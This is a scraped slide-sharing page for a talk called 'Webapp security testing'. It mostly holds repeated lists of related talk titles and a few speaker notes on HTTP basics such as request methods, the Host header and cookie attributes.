A Forgotten HTTP Invisibility Cloak
 
XFLTReat: a new dimension in tunnelling
XFLTReat:  a new dimension in tunnellingXFLTReat:  a new dimension in tunnelling
XFLTReat: a new dimension in tunnelling
 
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
XFLTReaT: A New Dimension in Tunneling (Shakacon 2017)
 
INTRODUCTION to php.pptx
INTRODUCTION to php.pptxINTRODUCTION to php.pptx
INTRODUCTION to php.pptx
 
HTML5
HTML5 HTML5
HTML5
 
Web Services PHP Tutorial
Web Services PHP TutorialWeb Services PHP Tutorial
Web Services PHP Tutorial
 

More from Tomas Doran

Empowering developers to deploy their own data stores
Empowering developers to deploy their own data storesEmpowering developers to deploy their own data stores
Empowering developers to deploy their own data storesTomas Doran
 
Dockersh and a brief intro to the docker internals
Dockersh and a brief intro to the docker internalsDockersh and a brief intro to the docker internals
Dockersh and a brief intro to the docker internalsTomas Doran
 
Sensu and Sensibility - Puppetconf 2014
Sensu and Sensibility - Puppetconf 2014Sensu and Sensibility - Puppetconf 2014
Sensu and Sensibility - Puppetconf 2014Tomas Doran
 
Steamlining your puppet development workflow
Steamlining your puppet development workflowSteamlining your puppet development workflow
Steamlining your puppet development workflowTomas Doran
 
Building a smarter application stack - service discovery and wiring for Docker
Building a smarter application stack - service discovery and wiring for DockerBuilding a smarter application stack - service discovery and wiring for Docker
Building a smarter application stack - service discovery and wiring for DockerTomas Doran
 
Chasing AMI - Building Amazon machine images with Puppet, Packer and Jenkins
Chasing AMI - Building Amazon machine images with Puppet, Packer and JenkinsChasing AMI - Building Amazon machine images with Puppet, Packer and Jenkins
Chasing AMI - Building Amazon machine images with Puppet, Packer and JenkinsTomas Doran
 
Deploying puppet code at light speed
Deploying puppet code at light speedDeploying puppet code at light speed
Deploying puppet code at light speedTomas Doran
 
Thinking through puppet code layout
Thinking through puppet code layoutThinking through puppet code layout
Thinking through puppet code layoutTomas Doran
 
Docker puppetcamp london 2013
Docker puppetcamp london 2013Docker puppetcamp london 2013
Docker puppetcamp london 2013Tomas Doran
 
Test driven infrastructure development (2 - puppetconf 2013 edition)
Test driven infrastructure development (2 - puppetconf 2013 edition)Test driven infrastructure development (2 - puppetconf 2013 edition)
Test driven infrastructure development (2 - puppetconf 2013 edition)Tomas Doran
 
Test driven infrastructure development
Test driven infrastructure developmentTest driven infrastructure development
Test driven infrastructure developmentTomas Doran
 
London devops - orc
London devops - orcLondon devops - orc
London devops - orcTomas Doran
 
London devops logging
London devops loggingLondon devops logging
London devops loggingTomas Doran
 
Message:Passing - lpw 2012
Message:Passing - lpw 2012Message:Passing - lpw 2012
Message:Passing - lpw 2012Tomas Doran
 
Webapp security testing
Webapp security testingWebapp security testing
Webapp security testingTomas Doran
 
Dates aghhhh!!?!?!?!
Dates aghhhh!!?!?!?!Dates aghhhh!!?!?!?!
Dates aghhhh!!?!?!?!Tomas Doran
 
Messaging, interoperability and log aggregation - a new framework
Messaging, interoperability and log aggregation - a new frameworkMessaging, interoperability and log aggregation - a new framework
Messaging, interoperability and log aggregation - a new frameworkTomas Doran
 
Cooking a rabbit pie
Cooking a rabbit pieCooking a rabbit pie
Cooking a rabbit pieTomas Doran
 
High scale flavour
High scale flavourHigh scale flavour
High scale flavourTomas Doran
 

More from Tomas Doran (20)

Empowering developers to deploy their own data stores
Empowering developers to deploy their own data storesEmpowering developers to deploy their own data stores
Empowering developers to deploy their own data stores
 
Dockersh and a brief intro to the docker internals
Dockersh and a brief intro to the docker internalsDockersh and a brief intro to the docker internals
Dockersh and a brief intro to the docker internals
 
Sensu and Sensibility - Puppetconf 2014
Sensu and Sensibility - Puppetconf 2014Sensu and Sensibility - Puppetconf 2014
Sensu and Sensibility - Puppetconf 2014
 
Steamlining your puppet development workflow
Steamlining your puppet development workflowSteamlining your puppet development workflow
Steamlining your puppet development workflow
 
Building a smarter application stack - service discovery and wiring for Docker
Building a smarter application stack - service discovery and wiring for DockerBuilding a smarter application stack - service discovery and wiring for Docker
Building a smarter application stack - service discovery and wiring for Docker
 
Chasing AMI - Building Amazon machine images with Puppet, Packer and Jenkins
Chasing AMI - Building Amazon machine images with Puppet, Packer and JenkinsChasing AMI - Building Amazon machine images with Puppet, Packer and Jenkins
Chasing AMI - Building Amazon machine images with Puppet, Packer and Jenkins
 
Deploying puppet code at light speed
Deploying puppet code at light speedDeploying puppet code at light speed
Deploying puppet code at light speed
 
Thinking through puppet code layout
Thinking through puppet code layoutThinking through puppet code layout
Thinking through puppet code layout
 
Docker puppetcamp london 2013
Docker puppetcamp london 2013Docker puppetcamp london 2013
Docker puppetcamp london 2013
 
Test driven infrastructure development (2 - puppetconf 2013 edition)
Test driven infrastructure development (2 - puppetconf 2013 edition)Test driven infrastructure development (2 - puppetconf 2013 edition)
Test driven infrastructure development (2 - puppetconf 2013 edition)
 
Test driven infrastructure development
Test driven infrastructure developmentTest driven infrastructure development
Test driven infrastructure development
 
London devops - orc
London devops - orcLondon devops - orc
London devops - orc
 
London devops logging
London devops loggingLondon devops logging
London devops logging
 
Message:Passing - lpw 2012
Message:Passing - lpw 2012Message:Passing - lpw 2012
Message:Passing - lpw 2012
 
Webapp security testing
Webapp security testingWebapp security testing
Webapp security testing
 
Dates aghhhh!!?!?!?!
Dates aghhhh!!?!?!?!Dates aghhhh!!?!?!?!
Dates aghhhh!!?!?!?!
 
Messaging, interoperability and log aggregation - a new framework
Messaging, interoperability and log aggregation - a new frameworkMessaging, interoperability and log aggregation - a new framework
Messaging, interoperability and log aggregation - a new framework
 
Zero mq logs
Zero mq logsZero mq logs
Zero mq logs
 
Cooking a rabbit pie
Cooking a rabbit pieCooking a rabbit pie
Cooking a rabbit pie
 
High scale flavour
High scale flavourHigh scale flavour
High scale flavour
 

Recently uploaded

How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.Curtis Poe
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DaySri Ambati
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 3652toLead Limited
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024Lonnie McRorey
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):comworks
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piececharlottematthew16
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brandgvaughan
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLScyllaDB
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxhariprasad279825
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024Stephanie Beckett
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsMark Billinghurst
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningLars Bell
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyAlfredo García Lavilla
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfPrecisely
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteDianaGray10
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Mattias Andersson
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfAddepto
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubKalema Edgar
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Commit University
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...Fwdays
 

Recently uploaded (20)

How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.How AI, OpenAI, and ChatGPT impact business and software.
How AI, OpenAI, and ChatGPT impact business and software.
 
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo DayH2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
H2O.ai CEO/Founder: Sri Ambati Keynote at Wells Fargo Day
 
Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365Ensuring Technical Readiness For Copilot in Microsoft 365
Ensuring Technical Readiness For Copilot in Microsoft 365
 
TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024TeamStation AI System Report LATAM IT Salaries 2024
TeamStation AI System Report LATAM IT Salaries 2024
 
CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):CloudStudio User manual (basic edition):
CloudStudio User manual (basic edition):
 
Story boards and shot lists for my a level piece
Story boards and shot lists for my a level pieceStory boards and shot lists for my a level piece
Story boards and shot lists for my a level piece
 
WordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your BrandWordPress Websites for Engineers: Elevate Your Brand
WordPress Websites for Engineers: Elevate Your Brand
 
Developer Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQLDeveloper Data Modeling Mistakes: From Postgres to NoSQL
Developer Data Modeling Mistakes: From Postgres to NoSQL
 
Artificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptxArtificial intelligence in cctv survelliance.pptx
Artificial intelligence in cctv survelliance.pptx
 
What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024What's New in Teams Calling, Meetings and Devices March 2024
What's New in Teams Calling, Meetings and Devices March 2024
 
Human Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR SystemsHuman Factors of XR: Using Human Factors to Design XR Systems
Human Factors of XR: Using Human Factors to Design XR Systems
 
DSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine TuningDSPy a system for AI to Write Prompts and Do Fine Tuning
DSPy a system for AI to Write Prompts and Do Fine Tuning
 
Commit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easyCommit 2024 - Secret Management made easy
Commit 2024 - Secret Management made easy
 
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdfHyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
Hyperautomation and AI/ML: A Strategy for Digital Transformation Success.pdf
 
Take control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test SuiteTake control of your SAP testing with UiPath Test Suite
Take control of your SAP testing with UiPath Test Suite
 
Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?Are Multi-Cloud and Serverless Good or Bad?
Are Multi-Cloud and Serverless Good or Bad?
 
Gen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdfGen AI in Business - Global Trends Report 2024.pdf
Gen AI in Business - Global Trends Report 2024.pdf
 
Unleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding ClubUnleash Your Potential - Namagunga Girls Coding Club
Unleash Your Potential - Namagunga Girls Coding Club
 
Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!Nell’iperspazio con Rocket: il Framework Web di Rust!
Nell’iperspazio con Rocket: il Framework Web di Rust!
 
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks..."LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
"LLMs for Python Engineers: Advanced Data Analysis and Semantic Kernel",Oleks...
 

Webapp security testing

Editor's Notes

  1. \n
  2. \n
  3. \n
  4. \n
  5. \n
  6. \n
  7. \n
  8. \n
  9. \n
  10. \n
  11. \n
  12. \n
  13. \n
  14. \n
  15. \n
  16. \n
  17. \n
  18. \n
  19. \n
  20. TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
  21. TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
  22. TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
  23. TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
  24. TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
  25. TCP (Reliable, ordered). Host, port number.\nRequest and response. GET/HEAD/POST\nHeaders\n
  26. \n
  27. \n
  28. \n
  29. \n
  30. \n
  31. \n
  32. \n
  33. \n
  34. \n
  35. \n
  36. \n
  37. \n
  38. \n
  39. \n
  40. \n
  41. \n
  42. \n
  43. \n
  44. \n
  45. \n
  46. \n
  47. \n
  48. \n
  49. \n
  50. \n
  51. \n
  52. \n
  53. Add a mandatory &amp;#x2018;Host&amp;#x2019; header\nWe have run out of IP addresses - this means you can have multiple sites per IP\n
  54. \n
  55. \n
  56. \n
  57. \n
  58. \n
  59. \n
  60. \n
  61. \n
  62. \n
  63. \n
  64. \n
  65. \n
  66. \n
  67. \n
  68. \n
  69. \n
  70. \n
  71. \n
  72. \n
  73. \n
  74. \n
  75. \n
  76. \n
  77. \n
  78. \n
  79. \n
  80. \n
  81. \n
  82. \n
  83. \n
  84. \n
  85. \n
  86. \n
  87. \n
  88. Set-Cookie\nCookie\nDomain / Path / Secure\n
  89. Set-Cookie\nCookie\nDomain / Path / Secure\n
  90. Set-Cookie\nCookie\nDomain / Path / Secure\n
  91. Set-Cookie\nCookie\nDomain / Path / Secure\n
  92. Set-Cookie\nCookie\nDomain / Path / Secure\n
  93. Set-Cookie\nCookie\nDomain / Path / Secure\n
  94. Set-Cookie\nCookie\nDomain / Path / Secure\n
  95. \n
  96. \n
  97. \n
  98. \n
  99. \n
  100. \n
  101. \n
  102. \n
  103. \n
  104. \n
  105. \n
  106. \n
  107. \n
  108. \n
  109. \n
  110. \n
  111. \n
  112. \n
  113. \n
  114. \n
  115. \n
  116. \n
  117. \n
  118. \n
  119. \n
  120. \n
  121. \n
  122. \n
  123. \n
  124. \n
  125. \n
  126. \n
  127. \n
  128. \n
  129. \n
  130. \n
  131. \n
  132. \n
  133. \n
  134. \n
  135. \n
  136. \n
  137. \n
  138. \n
  139. \n
  140. \n
  141. \n
  142. \n
  143. \n
  144. \n
  145. \n
  146. \n
  147. \n
  148. \n
  149. \n
  150. \n